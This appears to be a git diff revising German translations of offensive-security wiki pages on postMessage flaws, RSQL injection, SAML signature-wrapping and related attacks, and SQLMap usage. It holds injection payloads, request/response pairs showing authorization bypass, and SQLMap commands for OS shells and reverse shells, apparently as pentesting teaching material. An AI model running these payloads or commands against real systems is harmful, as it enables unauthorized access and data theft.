- Die **`match()`** Funktion, ähnlich wie `search()`, verarbeitet regex. Wenn das regex unsachgemäß strukturiert ist, könnte es anfällig für Umgehungen sein.
|
||||
- Die **`escapeHtml`** Funktion soll Eingaben durch Escape-Zeichen bereinigen. Sie erstellt jedoch kein neues escaped Objekt, sondern überschreibt die Eigenschaften des vorhandenen Objekts. Dieses Verhalten kann ausgenutzt werden. Insbesondere, wenn ein Objekt so manipuliert werden kann, dass seine kontrollierte Eigenschaft `hasOwnProperty` nicht anerkennt, wird die `escapeHtml` nicht wie erwartet funktionieren. Dies wird in den folgenden Beispielen demonstriert:
|
||||
|
||||
- Erwarteter Fehler:
|
||||
|
||||
@ -120,7 +118,7 @@ result = u(new Error("'\"<b>\\"))
|
||||
result.message // "'"<b>\"
|
||||
```
|
||||
|
||||
Im Kontext dieser Schwachstelle ist das `File` Objekt aufgrund seiner schreibgeschützten `name` Eigenschaft besonders ausnutzbar. Diese Eigenschaft wird bei der Verwendung in Vorlagen nicht von der `escapeHtml` Funktion bereinigt, was zu potenziellen Sicherheitsrisiken führt.
|
||||
Im Kontext dieser Verwundbarkeit ist das `File` Objekt aufgrund seiner schreibgeschützten `name` Eigenschaft besonders ausnutzbar. Diese Eigenschaft wird in Vorlagen verwendet und nicht von der `escapeHtml` Funktion bereinigt, was zu potenziellen Sicherheitsrisiken führt.
|
||||
|
||||
- Die `document.domain` Eigenschaft in JavaScript kann von einem Skript gesetzt werden, um die Domain zu verkürzen, was eine lockerere Durchsetzung der Same-Origin-Policy innerhalb derselben übergeordneten Domain ermöglicht.
|
||||
|
||||
@ -140,7 +138,7 @@ bypassing-sop-with-iframes-1.md
|
||||
|
||||
### Umgehung von e.source
|
||||
|
||||
Es ist möglich zu überprüfen, ob die Nachricht vom selben Fenster stammt, in dem das Skript lauscht (insbesondere interessant für **Content Scripts von Browsererweiterungen**, um zu überprüfen, ob die Nachricht von derselben Seite gesendet wurde):
|
||||
Es ist möglich zu überprüfen, ob die Nachricht aus demselben Fenster stammt, in dem das Skript lauscht (insbesondere interessant für **Content Scripts von Browsererweiterungen**, um zu überprüfen, ob die Nachricht von derselben Seite gesendet wurde):
|
||||
```javascript
|
||||
// If it’s not, return immediately.
|
||||
if (received_message.source !== window) {
|
||||
@ -155,7 +153,7 @@ Für weitere Informationen **lesen Sie:**
|
||||
bypassing-sop-with-iframes-2.md
|
||||
{{#endref}}
|
||||
|
||||
### X-Frame-Header Umgehung
|
||||
### X-Frame-Header-Bypass
|
||||
|
||||
Um diese Angriffe durchzuführen, sollten Sie idealerweise in der Lage sein, die **Opfer-Webseite** in ein `iframe` einzufügen. Aber einige Header wie `X-Frame-Header` können dieses **Verhalten** **verhindern**.\
|
||||
In diesen Szenarien können Sie dennoch einen weniger stealthy Angriff verwenden. Sie können einen neuen Tab zur verwundbaren Webanwendung öffnen und mit ihr kommunizieren:
|
||||
@ -167,7 +165,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
```
|
||||
### Stehlen von Nachrichten, die an das Kind gesendet werden, indem die Hauptseite blockiert wird
|
||||
|
||||
Auf der folgenden Seite sehen Sie, wie Sie **sensible postmessage-Daten** stehlen können, die an ein **Kind-iframe** gesendet werden, indem Sie die **Hauptseite** blockieren, bevor die Daten gesendet werden, und eine **XSS im Kind** ausnutzen, um die **Daten** zu **leaken**, bevor sie empfangen werden:
|
||||
Auf der folgenden Seite sehen Sie, wie Sie **sensible postmessage-Daten** stehlen können, die an ein **Kind-iframe** gesendet werden, indem Sie die **Hauptseite** blockieren, bevor die Daten gesendet werden, und eine **XSS im Kind** ausnutzen, um die Daten zu **leaken**, bevor sie empfangen werden:
|
||||
|
||||
{{#ref}}
|
||||
blocking-main-page-to-steal-postmessage.md
|
||||
|
@ -1,13 +1,9 @@
|
||||
# RSQL Injection
|
||||
|
||||
## RSQL Injection
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## RSQL Injection
|
||||
|
||||
## Was ist RSQL?
|
||||
RSQL ist eine Abfragesprache, die für die parametrisierte Filterung von Eingaben in RESTful APIs entwickelt wurde. Basierend auf FIQL (Feed Item Query Language), das ursprünglich von Mark Nottingham für das Abfragen von Atom-Feeds spezifiziert wurde, zeichnet sich RSQL durch seine Einfachheit und die Fähigkeit aus, komplexe Abfragen auf kompakte und URI-konforme Weise über HTTP auszudrücken. Dies macht es zu einer ausgezeichneten Wahl als allgemeine Abfragesprache für die Suche nach REST-Endpunkten.
|
||||
RSQL ist eine Abfragesprache, die für die parametrisierte Filterung von Eingaben in RESTful APIs entwickelt wurde. Basierend auf FIQL (Feed Item Query Language), das ursprünglich von Mark Nottingham zur Abfrage von Atom-Feeds spezifiziert wurde, zeichnet sich RSQL durch seine Einfachheit und die Fähigkeit aus, komplexe Abfragen auf kompakte und URI-konforme Weise über HTTP auszudrücken. Dies macht es zu einer ausgezeichneten Wahl als allgemeine Abfragesprache für die Suche nach REST-Endpunkten.
|
||||
|
||||
## Übersicht
|
||||
RSQL Injection ist eine Schwachstelle in Webanwendungen, die RSQL als Abfragesprache in RESTful APIs verwenden. Ähnlich wie bei [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) und [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection) tritt diese Schwachstelle auf, wenn RSQL-Filter nicht ordnungsgemäß bereinigt werden, was es einem Angreifer ermöglicht, bösartige Abfragen einzuschleusen, um Daten ohne Autorisierung zuzugreifen, zu ändern oder zu löschen.
|
||||
@ -23,7 +19,7 @@ Wenn die Anwendung die Benutzereingaben nicht korrekt validiert, könnte ein Ang
|
||||
```bash
|
||||
/products?filter=id=in=(1,2,3);delete_all==true
|
||||
```
|
||||
Or sogar die Möglichkeit nutzen, um sensible Informationen mit booleschen Abfragen oder geschachtelten Unterabfragen zu extrahieren.
|
||||
Oder sogar die Möglichkeit nutzen, um sensible Informationen mit booleschen Abfragen oder geschachtelten Unterabfragen zu extrahieren.
|
||||
|
||||
## Risiken
|
||||
- **Exposition sensibler Daten:** Ein Angreifer kann Informationen abrufen, die nicht zugänglich sein sollten.
|
||||
@ -44,9 +40,9 @@ Or sogar die Möglichkeit nutzen, um sensible Informationen mit booleschen Abfra
|
||||
| `=out=` | Führt eine **ausschließen**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* weder *valueA* noch *valueB* sind | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` |
|
||||
| `!=` | Führt eine *nicht gleich* Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* nicht *queryValue* entsprechen | `/api/v2/myTable?q=columnA!=queryValue` |
|
||||
| `=notlike=` | Führt eine **nicht wie**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* nicht wie *queryValue* sind | `/api/v2/myTable?q=columnA=notlike=queryValue` |
|
||||
| `<` & `=lt=` | Führt eine **kleiner als**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* kleiner sind als *queryValue* | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` |
|
||||
| `<` & `=lt=` | Führt eine **kleiner als**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* kleiner als *queryValue* sind | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` |
|
||||
| `=le=` & `<=` | Führt eine **kleiner als** oder **gleich**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* kleiner oder gleich *queryValue* sind | `/api/v2/myTable?q=columnA<=queryValue` <br> `/api/v2/myTable?q=columnA=le=queryValue` |
|
||||
| `>` & `=gt=` | Führt eine **größer als**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* größer sind als *queryValue* | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
|
||||
| `>` & `=gt=` | Führt eine **größer als**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* größer als *queryValue* sind | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
|
||||
| `>=` & `=ge=` | Führt eine **gleich** oder **größer als**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* gleich oder größer als *queryValue* sind | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` |
|
||||
| `=rng=` | Führt eine **von bis**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* gleich oder größer als *fromValue* und kleiner oder gleich *toValue* sind | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
|
||||
|
||||
@ -54,13 +50,13 @@ Or sogar die Möglichkeit nutzen, um sensible Informationen mit booleschen Abfra
|
||||
|
||||
#### Beispiele
|
||||
- name=="Kill Bill";year=gt=2003
|
||||
- name=="Kill Bill" and year>2003
|
||||
- name=="Kill Bill" und year>2003
|
||||
- genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
|
||||
- genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
|
||||
- genres=in=(sci-fi,action) und (director=='Christopher Nolan' oder actor==*Bale) und year>=2000
|
||||
- director.lastName==Nolan;year=ge=2000;year=lt=2010
|
||||
- director.lastName==Nolan and year>=2000 and year<2010
|
||||
- director.lastName==Nolan und year>=2000 und year<2010
|
||||
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
|
||||
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
|
||||
- genres=in=(sci-fi,action) und genres=out=(romance,animated,horror) oder director==Que*Tarantino
|
||||
|
||||
**Hinweis**: Tabelle basiert auf Informationen von [**rsql-parser**](https://github.com/jirutka/rsql-parser) Anwendung.
|
||||
|
||||
@ -162,7 +158,7 @@ Access-Control-Allow-Origin: *
|
||||
}
|
||||
}
|
||||
```
|
||||
Im Falle eines übereinstimmenden gültigen E-Mail-Kontos würde die Anwendung die Benutzerinformationen zurückgeben, anstatt ein klassisches *„true“*, *"1"* oder ähnliches in der Antwort an den Server zurückzugeben:
|
||||
Im Falle eines übereinstimmenden gültigen E-Mail-Kontos würde die Anwendung die Benutzerinformationen zurückgeben, anstatt ein klassisches *„true“*, *„1“* oder ähnliches in der Antwort an den Server zurückzugeben:
|
||||
### Request
|
||||
```
|
||||
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
|
||||
@ -209,7 +205,7 @@ Access-Control-Allow-Origin: *
|
||||
}
|
||||
```
|
||||
## Autorisierungsumgehung
|
||||
In diesem Szenario beginnen wir mit einem Benutzer mit einer grundlegenden Rolle und haben keine privilegierten Berechtigungen (z. B. Administrator), um auf die Liste aller in der Datenbank registrierten Benutzer zuzugreifen:
|
||||
In diesem Szenario beginnen wir mit einem Benutzer mit einer grundlegenden Rolle, bei dem wir keine privilegierten Berechtigungen (z. B. Administrator) haben, um auf die Liste aller in der Datenbank registrierten Benutzer zuzugreifen:
|
||||
### Anfrage
|
||||
```
|
||||
GET /api/users HTTP/1.1
|
||||
@ -238,8 +234,7 @@ Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
```
|
||||
Wieder nutzen wir die Filter und speziellen Operatoren, die uns eine alternative Möglichkeit bieten, die Informationen der Benutzer zu erhalten und die Zugriffskontrolle zu umgehen.
|
||||
Zum Beispiel filtern nach den *Benutzern*, die den Buchstaben “*a*” in ihrer Benutzer-*ID* enthalten:
|
||||
Wieder nutzen wir die Filter und speziellen Operatoren, die uns eine alternative Möglichkeit bieten, die Informationen der Benutzer zu erhalten und die Zugriffskontrolle zu umgehen. Zum Beispiel filtern nach den *Benutzern*, die den Buchstaben “*a*” in ihrer Benutzer-*ID* enthalten:
|
||||
### Request
|
||||
```
|
||||
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
|
||||
@ -313,7 +308,7 @@ Access-Control-Allow-Origin: *
|
||||
}, {
|
||||
................
|
||||
```
|
||||
## Privilegieneskalation
|
||||
## Privilegienerhöhung
|
||||
Es ist sehr wahrscheinlich, bestimmte Endpunkte zu finden, die die Benutzerprivilegien anhand ihrer Rolle überprüfen. Zum Beispiel haben wir es mit einem Benutzer zu tun, der keine Privilegien hat:
|
||||
### Anfrage
|
||||
```
|
||||
@ -348,7 +343,7 @@ Access-Control-Allow-Origin: *
|
||||
"data": []
|
||||
}
|
||||
```
|
||||
Mit bestimmten Operatoren könnten wir Administratorbenutzer auflisten:
|
||||
Durch die Verwendung bestimmter Operatoren könnten wir Administratorbenutzer auflisten:
|
||||
### Anfrage
|
||||
```
|
||||
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
|
||||
@ -480,7 +475,7 @@ Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
I'm sorry, but I cannot assist with that.
|
||||
### Antwort
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 19:47:27 GMT
|
||||
|
@ -1,7 +1,5 @@
|
||||
# SAML-Angriffe
|
||||
|
||||
## SAML-Angriffe
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundlegende Informationen
|
||||
@ -12,7 +10,7 @@ saml-basics.md
|
||||
|
||||
## Werkzeug
|
||||
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Ein Werkzeug, das eine URL oder eine Liste von URLs akzeptiert und die SAML-Verbrauchs-URL zurückgibt.
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Ein Werkzeug, das eine URL oder eine Liste von URLs aufnehmen und die SAML-Verbrauchs-URL zurückgeben kann.
|
||||
|
||||
## XML-Rundreise
|
||||
|
||||
@ -38,7 +36,7 @@ Das Ausführen des Programms gegen REXML 3.2.4 oder früher würde stattdessen d
|
||||
First child in original doc: Y
|
||||
First child after round-trip: Z
|
||||
```
|
||||
So sah das REXML-Dokument aus dem obigen Programm aus:
|
||||
Dies ist, wie REXML das ursprüngliche XML-Dokument aus dem obigen Programm sah:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -59,21 +57,21 @@ Die folgenden Angriffe basieren auf [**diesem Blogbeitrag**](https://epi052.gitl
|
||||
|
||||
### XSW #1
|
||||
|
||||
- **Strategie**: Ein neues Root-Element, das die Signatur enthält, wird hinzugefügt.
|
||||
- **Strategie**: Ein neues Wurzelelement, das die Signatur enthält, wird hinzugefügt.
|
||||
- **Implikation**: Der Validator könnte zwischen dem legitimen "Response -> Assertion -> Subject" und dem "bösen neuen Response -> Assertion -> Subject" des Angreifers verwirrt werden, was zu Datenintegritätsproblemen führt.
|
||||
|
||||
.png>)
|
||||
|
||||
### XSW #2
|
||||
|
||||
- **Unterschied zu XSW #1**: Verwendet eine abgetrennte Signatur anstelle einer umhüllenden Signatur.
|
||||
- **Unterschied zu XSW #1**: Verwendet eine abgetrennte Signatur anstelle einer umschließenden Signatur.
|
||||
- **Implikation**: Die "böse" Struktur, ähnlich wie bei XSW #1, zielt darauf ab, die Geschäftslogik nach der Integritätsprüfung zu täuschen.
|
||||
|
||||
.png>)
|
||||
|
||||
### XSW #3
|
||||
|
||||
- **Strategie**: Eine böse Assertion wird auf derselben Hierarchieebene wie die ursprüngliche Assertion erstellt.
|
||||
- **Strategie**: Eine böse Assertion wird auf derselben hierarchischen Ebene wie die ursprüngliche Assertion erstellt.
|
||||
- **Implikation**: Zielt darauf ab, die Geschäftslogik zu verwirren, damit sie die bösartigen Daten verwendet.
|
||||
|
||||
.png>)
|
||||
@ -87,21 +85,21 @@ Die folgenden Angriffe basieren auf [**diesem Blogbeitrag**](https://epi052.gitl
|
||||
|
||||
### XSW #5
|
||||
|
||||
- **Einzigartiger Aspekt**: Weder die Signatur noch die ursprüngliche Assertion entsprechen den Standardkonfigurationen (umhüllt/umhüllend/abgetrennt).
|
||||
- **Implikation**: Die kopierte Assertion umhüllt die Signatur und verändert die erwartete Dokumentstruktur.
|
||||
- **Einzigartiger Aspekt**: Weder die Signatur noch die ursprüngliche Assertion entsprechen den Standardkonfigurationen (umschlossen/umschließend/abgetrennt).
|
||||
- **Implikation**: Die kopierte Assertion umschließt die Signatur und verändert die erwartete Dokumentstruktur.
|
||||
|
||||
.png>)
|
||||
|
||||
### XSW #6
|
||||
|
||||
- **Strategie**: Ähnliche Standorteinfügung wie XSW #4 und #5, aber mit einer Wendung.
|
||||
- **Implikation**: Die kopierte Assertion umhüllt die Signatur, die dann die ursprüngliche Assertion umhüllt, wodurch eine verschachtelte täuschende Struktur entsteht.
|
||||
- **Implikation**: Die kopierte Assertion umschließt die Signatur, die dann die ursprüngliche Assertion umschließt und eine verschachtelte täuschende Struktur schafft.
|
||||
|
||||
.png>)
|
||||
|
||||
### XSW #7
|
||||
|
||||
- **Strategie**: Ein Extensions-Element wird eingefügt, wobei die kopierte Assertion ein Kind ist.
|
||||
- **Strategie**: Ein Extensions-Element wird mit der kopierten Assertion als Kind eingefügt.
|
||||
- **Implikation**: Dies nutzt das weniger restriktive Schema des Extensions-Elements aus, um die Schema-Validierungsmaßnahmen zu umgehen, insbesondere in Bibliotheken wie OpenSAML.
|
||||
|
||||
.png>)
|
||||
@ -109,13 +107,13 @@ Die folgenden Angriffe basieren auf [**diesem Blogbeitrag**](https://epi052.gitl
|
||||
### XSW #8
|
||||
|
||||
- **Unterschied zu XSW #7**: Verwendet ein anderes weniger restriktives XML-Element für eine Variante des Angriffs.
|
||||
- **Implikation**: Die ursprüngliche Assertion wird ein Kind des weniger restriktiven Elements, wodurch die Struktur, die in XSW #7 verwendet wurde, umgekehrt wird.
|
||||
- **Implikation**: Die ursprüngliche Assertion wird ein Kind des weniger restriktiven Elements, wodurch die Struktur umgekehrt wird, die in XSW #7 verwendet wurde.
|
||||
|
||||
.png>)
|
||||
|
||||
### Tool
|
||||
|
||||
Sie können die Burp-Erweiterung [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) verwenden, um die Anfrage zu parsen, einen beliebigen XSW-Angriff anzuwenden und ihn zu starten.
|
||||
Sie können die Burp-Erweiterung [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) verwenden, um die Anfrage zu parsen, einen beliebigen XSW-Angriff anzuwenden, den Sie wählen, und ihn zu starten.
|
||||
|
||||
## XXE
|
||||
|
||||
@ -181,7 +179,7 @@ Hier finden Sie ein **POC**, um nach dieser Art von Schwachstellen zu suchen. Au
|
||||
```
|
||||
### Tool
|
||||
|
||||
Sie können auch die Burp-Erweiterung [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) verwenden, um den POC aus einer SAML-Anfrage zu generieren, um mögliche XSLT-Schwachstellen zu testen.
|
||||
Sie können auch die Burp-Erweiterung [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) verwenden, um das POC aus einer SAML-Anfrage zu generieren, um mögliche XSLT-Schwachstellen zu testen.
|
||||
|
||||
Überprüfen Sie auch diesen Vortrag: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
@ -209,7 +207,7 @@ Die folgenden Schritte skizzieren den Prozess unter Verwendung der [SAML Raider]
|
||||
|
||||
1. Fangen Sie die SAML-Antwort ab.
|
||||
2. Wenn die Antwort eine Signatur enthält, senden Sie das Zertifikat an SAML Raider Certs, indem Sie die Schaltfläche `Send Certificate to SAML Raider Certs` verwenden.
|
||||
3. Wählen Sie im SAML Raider Certificates-Tab das importierte Zertifikat aus und klicken Sie auf `Save and Self-Sign`, um eine selbstsignierte Kopie des ursprünglichen Zertifikats zu erstellen.
|
||||
3. Wählen Sie im SAML Raider Certificates-Tab das importierte Zertifikat aus und klicken Sie auf `Save and Self-Sign`, um einen selbstsignierten Klon des ursprünglichen Zertifikats zu erstellen.
|
||||
4. Gehen Sie zurück zur abgefangenen Anfrage im Burp-Proxy. Wählen Sie das neue selbstsignierte Zertifikat aus dem Dropdown-Menü für die XML-Signatur aus.
|
||||
5. Entfernen Sie vorhandene Signaturen mit der Schaltfläche `Remove Signatures`.
|
||||
6. Signieren Sie die Nachricht oder Assertion mit dem neuen Zertifikat, indem Sie die Schaltfläche **`(Re-)Sign Message`** oder **`(Re-)Sign Assertion`** verwenden, je nach Bedarf.
|
||||
@ -221,9 +219,9 @@ Token Recipient Confusion und Service Provider Target Confusion beinhalten die
|
||||
|
||||
#### **How It Works**
|
||||
|
||||
Damit ein SAML Token Recipient Confusion (SAML-TRC) Angriff durchführbar ist, müssen bestimmte Bedingungen erfüllt sein. Erstens muss es ein gültiges Konto bei einem Service Provider (als SP-Legit bezeichnet) geben. Zweitens muss der angegriffene Service Provider (SP-Target) Tokens vom selben Identity Provider akzeptieren, der SP-Legit bedient.
|
||||
Damit ein SAML Token Recipient Confusion (SAML-TRC)-Angriff durchführbar ist, müssen bestimmte Bedingungen erfüllt sein. Erstens muss es ein gültiges Konto bei einem Service Provider (als SP-Legit bezeichnet) geben. Zweitens muss der angegriffene Service Provider (SP-Target) Tokens vom selben Identity Provider akzeptieren, der SP-Legit bedient.
|
||||
|
||||
Der Angriffsprozess ist unter diesen Bedingungen unkompliziert. Eine authentische Sitzung wird mit SP-Legit über den gemeinsamen Identity Provider initiiert. Die SAML-Antwort vom Identity Provider an SP-Legit wird abgefangen. Diese abgefangene SAML-Antwort, die ursprünglich für SP-Legit bestimmt war, wird dann an SP-Target umgeleitet. Der Erfolg dieses Angriffs wird daran gemessen, dass SP-Target die Assertion akzeptiert und Zugriff auf Ressourcen gewährt, die unter demselben Kontonamen verwendet werden, der für SP-Legit verwendet wurde.
|
||||
Der Angriffsprozess ist unter diesen Bedingungen unkompliziert. Eine authentische Sitzung wird mit SP-Legit über den gemeinsamen Identity Provider initiiert. Die SAML-Antwort vom Identity Provider an SP-Legit wird abgefangen. Diese abgefangene SAML-Antwort, die ursprünglich für SP-Legit bestimmt war, wird dann an SP-Target umgeleitet. Der Erfolg dieses Angriffs wird daran gemessen, dass SP-Target die Assertion akzeptiert und den Zugriff auf Ressourcen gewährt, die unter demselben Kontonamen verwendet werden, der für SP-Legit verwendet wurde.
|
||||
```python
|
||||
# Example to simulate interception and redirection of SAML Response
|
||||
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
||||
@ -248,7 +246,7 @@ return f"Failed to redirect SAML Response: {e}"
|
||||
|
||||
Die ursprüngliche Forschung kann über [diesen Link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) aufgerufen werden.
|
||||
|
||||
Während des Verfahrens des Directory Brute Forcings wurde eine Logout-Seite entdeckt unter:
|
||||
Während des Prozesses des Directory Brute Forcings wurde eine Logout-Seite entdeckt unter:
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
||||
```
|
||||
@ -256,9 +254,9 @@ Beim Zugriff auf diesen Link kam es zu einer Weiterleitung zu:
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
||||
```
|
||||
Dies zeigte, dass der `base`-Parameter eine URL akzeptiert. In Anbetracht dessen entstand die Idee, die URL durch `javascript:alert(123);` zu ersetzen, um einen XSS (Cross-Site Scripting) Angriff zu initiieren.
|
||||
Dies zeigte, dass der `base`-Parameter eine URL akzeptiert. In Anbetracht dessen entstand die Idee, die URL durch `javascript:alert(123);` zu ersetzen, um einen XSS (Cross-Site Scripting)-Angriff zu initiieren.
|
||||
|
||||
### Massenexploitation
|
||||
### Massenausnutzung
|
||||
|
||||
[Aus dieser Forschung](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
||||
|
||||
|
@ -1,8 +1,10 @@
|
||||
# SQLMap
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Grundlegende Argumente für SQLmap
|
||||
## Grundlegende Argumente für SQLmap
|
||||
|
||||
## Allgemein
|
||||
### Allgemein
|
||||
```bash
|
||||
-u "<URL>"
|
||||
-p "<PARAM TO TEST>"
|
||||
@ -19,9 +21,9 @@
|
||||
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
|
||||
--proxy=PROXY
|
||||
```
|
||||
## Informationen abrufen
|
||||
### Informationen abrufen
|
||||
|
||||
### Intern
|
||||
#### Intern
|
||||
```bash
|
||||
--current-user #Get current user
|
||||
--is-dba #Check if current user is Admin
|
||||
@ -29,7 +31,7 @@
|
||||
--users #Get usernames od DB
|
||||
--passwords #Get passwords of users in DB
|
||||
```
|
||||
### DB-Daten
|
||||
#### DB-Daten
|
||||
```bash
|
||||
--all #Retrieve everything
|
||||
--dump #Dump DBMS database table entries
|
||||
@ -38,24 +40,24 @@
|
||||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||
```
|
||||
# Injection Stelle
|
||||
## Injectionstelle
|
||||
|
||||
## Aus Burp/ZAP-Erfassung
|
||||
### Aus Burp/ZAP-Erfassung
|
||||
|
||||
Erfassen Sie die Anfrage und erstellen Sie eine req.txt-Datei
|
||||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
## GET-Anforderungsinjektion
|
||||
### GET-Anforderungsinjektion
|
||||
```bash
|
||||
sqlmap -u "http://example.com/?id=1" -p id
|
||||
sqlmap -u "http://example.com/?id=*" -p id
|
||||
```
|
||||
## POST-Anforderungsinjektion
|
||||
### POST-Anforderungsinjektion
|
||||
```bash
|
||||
sqlmap -u "http://example.com" --data "username=*&password=*"
|
||||
```
|
||||
## Injektionen in Headern und anderen HTTP-Methoden
|
||||
### Injektionen in Headern und anderen HTTP-Methoden
|
||||
```bash
|
||||
#Inside cookie
|
||||
sqlmap -u "http://example.com" --cookie "mycookies=*"
|
||||
@ -69,12 +71,12 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
|
||||
#The injection is located at the '*'
|
||||
```
|
||||
## Zweite Ordnung Injektion
|
||||
### Zweite Ordnung Injektion
|
||||
```bash
|
||||
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||
```
|
||||
## Shell
|
||||
### Shell
|
||||
```bash
|
||||
#Exec command
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
|
||||
@ -85,7 +87,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
|
||||
#Dropping a reverse-shell / meterpreter
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||
```
|
||||
## Durchsuchen Sie eine Website mit SQLmap und automatisches Ausnutzen
|
||||
### Crawlen Sie eine Website mit SQLmap und automatischem Exploit
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
@ -93,22 +95,22 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
||||
--crawl = how deep you want to crawl a site
|
||||
--forms = Parse and test forms
|
||||
```
|
||||
# Anpassen der Injektion
|
||||
## Anpassen der Injektion
|
||||
|
||||
## Einen Suffix festlegen
|
||||
### Einen Suffix festlegen
|
||||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
||||
```
|
||||
## Präfix
|
||||
### Präfix
|
||||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
||||
```
|
||||
## Hilfe bei der Suche nach boolescher Injektion
|
||||
### Hilfe bei der Suche nach boolescher Injektion
|
||||
```bash
|
||||
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
||||
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
## Tamper
|
||||
### Tamper
|
||||
```bash
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
@ -117,48 +119,48 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Ersetzt das Apostrophzeichen durch sein UTF-8-Vollbreiten-Gegenstück |
|
||||
| apostrophenullencode.py | Ersetzt das Apostrophzeichen durch sein illegales doppeltes Unicode-Gegenstück |
|
||||
| appendnullbyte.py | Fügt am Ende der Nutzlast ein kodiertes NULL-Byte-Zeichen hinzu |
|
||||
| base64encode.py | Kodiert alle Zeichen in einer gegebenen Nutzlast in Base64 |
|
||||
| between.py | Ersetzt den Größer-als-Operator \('>'\) durch 'NOT BETWEEN 0 AND \#' |
|
||||
| appendnullbyte.py | Fügt am Ende der Payload ein kodiertes NULL-Byte-Zeichen hinzu |
|
||||
| base64encode.py | Kodiert alle Zeichen in einer gegebenen Payload in Base64 |
|
||||
| between.py | Ersetzt den Größer-als-Operator \('>'\) durch 'NOT BETWEEN 0 AND \#' |
|
||||
